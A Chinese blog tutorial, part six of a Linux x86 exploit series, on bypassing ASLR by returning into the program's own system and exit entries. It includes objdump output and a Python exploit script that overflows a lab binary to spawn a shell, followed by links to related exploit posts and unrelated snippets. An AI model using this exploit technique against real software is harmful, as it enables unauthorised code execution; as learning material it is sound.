Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分
什么是 ASLR?
地址空间布局随机化(ASLR)是随机化的利用缓解技术:
堆栈地址
堆地址
共享库地址
一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!
原文地址:https://bbs.pediy.com/thread-217107.htm
也许已经有人发现了,这个系列没有系列五……其实是五太麻烦了,限制太多,不太好写,所以就没有了,也许以后会有
这个绕过ASLR的技巧非常有效,作者和译者也讲的非常清楚,改起来也非常清晰,唯一有点困难的地方,就是所谓的system_arg的地址的获取,这里作者说的比较模糊,第四和第五中也有同样的问题,我结合我的调试来说一下。
其实作者在之前的exp.py中是有提到的,这里的system_arg,其实需要的是环境变量sh的字符串,也就是“sh”字符串的地址。在我们这里,使用objdump可以获得
jourluohua@jourluohua-virtual-machine:~/work/test6$ objdump -s vuln | grep sh
Contents of section .gnu.hash:
2f62696e 2f736800 ......../bin/sh.
63746f72 6f727420 ctor.argc.short
00c0 686f7274 20696e74 0073697a it.short int.siz
00d0 656c6c00 etype.shell.
我们使用第一个地址,也就是所谓的0x8048698后边这一串。这个代表从0x8048598开始的字符串,因此“s”的地址是0x8048598+12+1=0x80485a5
将这个地址和disassemble获得的system和exit地址都填进去,就可以获得成功了。
老规矩,附上我的exp.py代码:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0x8048370
exit = 0x8048390
system_arg = 0x80485a5 #Obtained from hexdump output of e$
#endianess convertion
def conv(num):
return struct.pack("<I",num)#ystem + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
Linux Exploit系列之六 绕过ASLR - 第一部分的更多相关文章
- Linux Exploit系列之七 绕过 ASLR -- 第二部分
原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...
- Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
转:https://bbs.pediy.com/thread-217390.htm 前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻 ...
- Linux Exploit系列之四 使用return-to-libc绕过NX bit
使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...
- Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出) Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解 典型的基于堆栈的缓冲区溢出 虚拟机 ...
- Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈) 原文地址:https://bbs.pediy.com/thread-216954.htm 什么是off by one? 将源字符串复制到目标缓冲区可能会导致of ...
- Linux Exploit系列之二 整数溢出
整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...
- .Neter玩转Linux系列之六:Linux下MySQL的安装、配置、使用
一.Linux安装MySQL (1)下载安装包:https://dev.mysql.com/downloads/mysql/ (2)解压并安装 命令:tar zxvf 文件名 解压完成之后,重名一下文 ...
- 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR
ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...
随机推荐
- 二、WebSphere Application Server上部署war包并访问
进入我们was服务器控制台之后我们直接按照下图操作: 2.选择要上传的war包,下一步 3.一直下一步,步骤4注意填好“上下文根”,然后继续下一步,直到完成. 4.点击保存到主配置 5.应用程序> ...
- shell做成csv文件
echo a,b,c,d >aa.csv 其实就是用逗号做分隔符
- sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
httpclient-4.5.jar 定时发送http包,忽然有一天报错,http证书变更引起的. 之前的代码 try { CloseableHttpClient httpClient = build ...
- Bloomber 新建基金账户步骤
--Bloomber 新建基金账户步骤0.执行FIRM命令1.新建account group2.新建account3.将account加入到account group4.将account group授 ...
- body和document的梗
http://bbs.zhinengshe.com/thread-1199-1-1.html 1. 在空白的页面加点击事件,是加在body上么 ? <!DOCTYPE html> < ...
- python基础知识(保留字和标识符、变量、常量、基本数据类型)
保留字 保留字是python语言中已经被赋予特定意义的一些单词,开发程序时,不可以作为变量.函数.类.模块和其他对象的名称来使用例如:import 关键字输入后会变色 通过代码进行查看 import ...
- /etc/passwd字段信息
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nol ...
- 【AMAD】django-extensions -- Django框架的自定义命令扩展集合
动机 简介 个人评分 动机 使用Django进行开发的时候,会不会感觉开发工具少了一些.比如每次进入python shell调试的时候要重新import每个model. 简介 django-exten ...
- DatePickerDialog与OnDateSetListener基本用法与常见问题
日期时再显示更改控件一般我们使用构造方法public DatePickerDialog(@NonNull Context context, @Nullable OnDateSetListener li ...
- JDK下bin文件夹常见几个可执行文件
bin目录下有很多的可执行文件: java.exe:运行Java程序,就是启动JVM,让JVM执行指定的编译后的代码: javac.exe:Java的编译器,它用于把Java源码文件(以.java后缀 ...